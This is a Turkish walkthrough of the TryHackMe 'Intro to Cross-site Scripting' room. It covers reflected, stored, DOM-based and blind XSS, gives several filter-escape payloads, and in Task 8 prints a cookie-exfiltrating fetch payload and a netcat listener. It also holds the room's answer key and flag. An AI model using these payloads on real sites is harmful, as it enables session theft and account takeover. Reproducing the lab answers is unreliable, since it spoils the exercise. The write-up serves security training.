Tamamdır dostum 👇 hepsini düzenli ve Medium'a uygun şekilde Türkçeye çevirdim. (Başlık yapısını korudum, soru formatlarını da bozmadım.)
Intro to Cross-site Scripting | EN
https://tryhackme.com/room/xss
TASK 1 | Oda Özeti
Ön Koşullar
Cross-Site Scripting (XSS), siber güvenlik dünyasında yaygın olarak bilinen bir enjeksiyon saldırısıdır. Bu saldırıda kötü amaçlı JavaScript kodu bir web uygulamasına enjekte edilir ve diğer kullanıcıların tarayıcısında çalıştırılması hedeflenir.
Bu odada:
- XSS türlerini
- XSS payload oluşturmayı
- Filtreleri atlatmak için payload düzenlemeyi
- Pratik bir laboratuvar ortamında uygulamayı öğreneceksiniz.
XSS zafiyetleri oldukça yaygındır ve büyük platformlarda bile bulunmuştur. Bu tür açıkları keşfedip raporlayarak ciddi ödüller kazanmak mümkündür.
Question 1.1: What does XSS stand for? Cevap: Cross-Site Scripting
TASK 2 | XSS PAYLOADS
XSS'te Payload Nedir?
XSS'te payload, hedef kullanıcının tarayıcısında çalıştırılmak üzere web uygulamasına enjekte edilen kötü amaçlı JavaScript kodudur.
Bir XSS payload iki bölümden oluşur:
- Intention (Amaç) → Saldırganın ne yapmak istediği
- Modification (Uyarlama) → Payload'ın belirli senaryoda çalışması için yapılan düzenlemeler.
Yaygın XSS Payload Amaçları
1. Proof of Concept (PoC)
Zafiyetin varlığını kanıtlamak için kullanılır.
<script>alert('XSS');</script>2. Session Stealing
Kullanıcının çerezlerini (cookies) alarak oturum ele geçirme saldırısı yapar.
3. Keylogging
Sayfada yazılan tuşları kaydeder.
4. Business Logic Abuse
Uygulama içindeki JavaScript fonksiyonlarını çağırarak hesap ele geçirme gibi işlemler yapar.
Question 2.1: Which document property could contain the user's session token? Cevap: document.cookie
Question 2.2: Which JavaScript method is often used as a Proof Of Concept? Cevap: alert
TASK 3 | REFLECTED XSS
Reflected XSS, kullanıcıdan gelen verinin doğrulama yapılmadan doğrudan sayfa kaynağına yansıtılması durumunda ortaya çıkar.
Örnek Senaryo
Bir hata mesajı URL parametresinden alınarak sayfaya basılıyor. Eğer filtreleme yoksa saldırgan buraya JavaScript kodu yerleştirebilir.


Potansiyel Etki
Saldırgan kurbanlara özel hazırlanmış link göndererek:
- Oturum bilgilerini çalabilir
- Müşteri verilerini elde edebilir


Nasıl Test Edilir?
- URL parametreleri
- Dosya yolu
- Bazı HTTP header'ları

Question 3.1: Where in an URL is a good place to test for reflected XSS? Cevap: Parameters
TASK 4 | STORED XSS
Stored XSS'te payload veritabanında saklanır ve siteyi ziyaret eden diğer kullanıcıların tarayıcısında çalıştırılır.
Örnek
Blog yorum kısmına JavaScript eklenirse, diğer kullanıcılar sayfayı ziyaret ettiğinde kod çalışır.

Test Alanları
- Blog yorumları
- Profil bilgileri
- Listeleme sayfaları
Question 4.1: How are stored XSS payloads usually stored on a website? Cevap: Database
TASK 5 | DOM BASED XSS
DOM Nedir?
DOM (Document Object Model), HTML ve XML belgeleri için programlama arayüzüdür. Sayfa içeriğinin JavaScript ile değiştirilmesini sağlar.

DOM Based XSS'te saldırı tamamen tarayıcı tarafında gerçekleşir. Backend'e veri gönderilmez.
Örnek
window.location.hash değerinin filtrelenmeden sayfaya yazdırılması.
Test
Kod içinde:
- window.location
- document.location
- eval()
gibi kullanıcı kontrolüne açık değişkenler aranmalıdır.
Question 5.1: What unsafe JavaScript method is good to look for in source code? Cevap: Eval()
TASK 6 | BLIND XSS
Blind XSS, Stored XSS'e benzer; ancak payload'ın çalıştığını doğrudan göremezsiniz.
Örnek
İletişim formuna girilen veri, çalışanların kullandığı admin panelinde görüntülenir.
Saldırgan, çalışanların çerezlerini çalabilir ve admin panelini ele geçirebilir.
Question 6.1: What tool can you use to test for "Blind XSS"? Cevap: XSS Hunter Express
Question 6.2: What type of XSS is very similar to "Blind XSS"? Cevap: Stored XSS
TASK 7 | PAYLOAD'I MÜKEMMELLEŞTİRME
Bu bölümde farklı senaryolarda payload kaçış teknikleri gösterilmektedir.
Örnek teknikler:
- Input tag'inden çıkış →
"><script>alert('THM');</script> - Textarea'dan çıkış →
</textarea><script>alert('THM');</script> - JavaScript string'inden kaçış →
';alert('THM');// - Filtre bypass →
<sscriptcript>alert('THM');</sscriptcript> - Event handler kullanımı →
onload="alert('THM')"
Son seviyede alınan flag:
Question 7.1: What is the flag you received from level six? Cevap: THM{XSS_MASTER}
TASK 8 | PRATİK ÖRNEK (BLIND XSS)
Support ticket sisteminde textarea'dan kaçış yapılarak JavaScript çalıştırılmaktadır.
Payload:
</textarea><script>fetch('http://IP:PORT?cookie=' + btoa(document.cookie));</script>Netcat ile dinleme:
nc -nlvp 9001Çerez Base64 decode edildikten sonra elde edilen değer:
Question 8.1: What is the value of the staff-session cookie? Cevap: 4AB305E55955197693F01D6F8FD2D321
Sonuç
TryHackMe | Offensive Security Intro tamamlandı.
Umarım yazıyı beğenmişsinizdir. Eğer faydalı olduysa destek olmayı unutmayın.
Yeni walkthrough ve CTF çözümleri yakında geliyor 🚀